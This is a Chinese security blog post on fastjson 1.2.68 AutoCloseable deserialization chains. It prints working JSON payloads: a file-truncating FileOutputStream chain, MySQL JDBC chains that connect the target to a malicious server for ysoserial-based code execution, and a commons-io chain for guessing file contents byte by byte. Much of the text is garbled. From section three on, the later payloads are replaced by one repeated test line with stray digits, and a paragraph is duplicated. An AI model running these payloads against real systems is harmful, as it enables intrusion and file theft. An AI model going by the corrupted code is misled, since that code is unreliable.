熟悉fastjson1.2.68反序列化的请直接看三。
一、fastjson 1.2.68反序列化历史
fastjson 1.2.68可以利用java.lang.AutoCloseable绕过checkAutotype,此漏洞自披露以来一直被各路大神研究,试图找出一些实用的反序列化链。
比如浅蓝的研究,一些信息泄露的链,一些需要多个第三方jar包的文件写入链。
https://b1ue.cn/archives/348.html
https://b1ue.cn/archives/364.html
https://b1ue.cn/archives/382.html
比如其他大神的研究,找出了一条原生JDK11实现的链
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
http://scz.617.cn:8/web/202008081723.txt
http://scz.617.cn:8/web/202008100900.txt
http://scz.617.cn:8/web/202008111715.txt
当然,此链在部分JDK8也能实现,为什么请看二。
JDK11中还有很容易发现的新建空白文件或者清空已存在文件的链
{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","file":"/tmp/123","append":false}
因为都是文件写入链,在不支持jsp的情况下不容易RCE,于是LandGrey研究出来了覆盖charsets.jar的方法RCE。
https://landgrey.me/blog/22/
后面还有一条仅需commons-io-2.x.jar包的文件写入链。
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
二、fastjson 反序列化的特点
在寻找fastjson反序列化的时候还要知道它的一些特点。
fastjson反序列化时会优先调用无参构造函数,然后调用setter来设置属性。如果没有无参构造函数,则调用参数最多的构造函数来创建对象。这是为了兼容bean和java原生类的写法。比如
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}
使用parseObject()来反序列化json还会自动触发getter,如果使用的是parse()此外还有$ref的方法来触发getter
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":{"$ref":"$.name"}}
此时会先检测有没有 AutoCloseableEvil(),有则调AutoCloseableEvil(),再调setName("luoke")。
没有则找参数最多的,也就是调用AutoCloseableEvil("luoke", null) ,注意这里参数名得为name,否则会都传null。
package test;
public class AutoCloseableEvil implements AutoCloseable{
public AutoCloseableEvil() { System.out.println("1"); } public AutoCloseableEvil(String name) { System.out.println("2:"+name); } public AutoCloseableEvil(String name, int age) { System.out.println("3:"+name); } public AutoCloseableEvil(String name,String name2,String name3) { System.out.println("4:"+name+name2+name3); } public void setName(String test){ System.out.println("set5:"+test); } public String getName(){ System.out.println("get6"); return "get6"; } public void close() throws Exception {
}}
但是由于第二种方法存在一定兼容性问题,因为AutoCloseableEvil(String name,String name2,String name3) 这里name1-3变量名都是不必要存储在class文件中的。使用默认javac编译,并不会携带变量名,必须使用javac -g编译,才会有LocalVariableTable属性,携带变量名。
fastjson使用
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。
从JDK8的rt.jar以及JDK11的modules(linux中jimage extract modules解压)中分别获取FileOutputStream.class进行对比,可直接记事本打开搜索LocalVariableTable和变量名,也可以javap -l FileOutputStream.class。
从原理上解释了为什么JDK8会报错,这可以算是fastjson的BUG,见https://github.com/alibaba/fastjson/issues/1569
三、mysql利用链
blackhat2021上再次抛出多条利用链,
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
首先是我心心念的mysql SSRF/RCE链。
这是别人提了一嘴,我就尝试去找结果太菜了找不出来,没想到隔了几天就看到了。
正如同文件相关类的继承关系导致了诸多文件写入链
class FileOutputStream extends OutputStreampublic abstract class OutputStream implements Closeable, Flushablepublic interface Closeable extends AutoCloseable
数据库常用的Connection也易导致SSRF链
public interface JdbcConnection extends java.sql.Connection, MysqlConnection, TransactionEventHandlerpublic interface Connection extends Wrapper, AutoCloseable
mysql的链本质上就是找一条全部可以用json数据构造并可以连接mysql的链。
这里经常用到Replication和LoadBalanced,可以了解一下。
https://blog.csdn.net/weixin_33754065/article/details/92072857
先看5.1.x(SSRF),5.1.11-5.1.48(反序列化链)
{ "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections4_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": ""}
com.mysql.jdbc.JDBC4Connection
public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException { super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url); // TODO Auto-generated constructor stub }
全是string,int,Properties,然后以ConnectionImpl建立连接。
此SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化。
通过连接恶意mysql服务器,可导致客户端被反序列化。详情见https://github.com/fnmsd/MySQL_Fake_Server
全是string,int,Properties,然后以ConnectionImpl建立连接。
此SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化。
6.0.2/6.0.3(反序列化)
{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" } }}
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}0
这个更简单,直接构造个connectionString也就是jdbcurl就能连接mysql了。
最后以pickNewConnection()建立连接。
为什么6.0.4不行了呢,构造方法变了。
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}1
虽然LoadbalanceConnectionUrl在6.0.4版本中可以继续如下构造
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}2
但这个HostInfo最终却构造不出来了。
8.0.19(反序列化链),8.0.19+(SSRF)
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}3
这里ReplicationMySQLConnection换成MultiHostMySQLConnection或者LoadBalancedMySQLConnection都不影响。因为他们都支持MultiHostConnectionProxy。
而LoadBalancedConnectionProxy支持ConnectionUrl
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}4
但8.0.18版本LoadBalancedConnectionProxy就不支持ConnectionUrl,只支持LoadbalanceConnectionUrl
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}5
虽然8.0.x和6.0.4的LoadbalanceConnectionUrl稍微有点不一样,但都无法继续构造了。
这里会有聪明的小朋友说,要不要试试
ReplicationMySQLConnection
ReplicationConnection
ReplicationConnectionUrl
这条链呢?
很遗憾,ReplicationConnectionProxy构造方法是私有的
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}6
因此这个SSRF链只能8.0.19及以上版本,并且能够反序列化的只有8.0.19这一个小版本。
这里我尝试用作者的思路去找其他SSRF链,最终找到了一条,但无法用于反序列化。
5.0.2-5.1.5(SSRF)
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}7
四、commons-io文件读取链
pdf中还披露了一条文件读取的链,不太完整,我将其复现了出来。
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}8
这里是利用getBOM方法去对比reader中是否包含boms,因此利用的时候需要有个返回点。原文中是利用了报错和没有返回包的不通来判断的。
POC如下,D:\test\1.txt内容为1test
{"@type":"java.lang.AutoCloseable","@type":"test.AutoCloseableEvil","name":"luoke"}9
如果bytes不为49则无返回
也就是说,这里可以挨个字节去爆破1.txt的文件内容。先爆破出49,再爆破出116,再爆破出101等等。
而且由于boms是可以用多个,可以二分法来增加效率。
当然,更多其他用法自行探索吧,比如file:///D:/test/列目录,http://x.com进行SSRF
还没有评论,来说两句吧...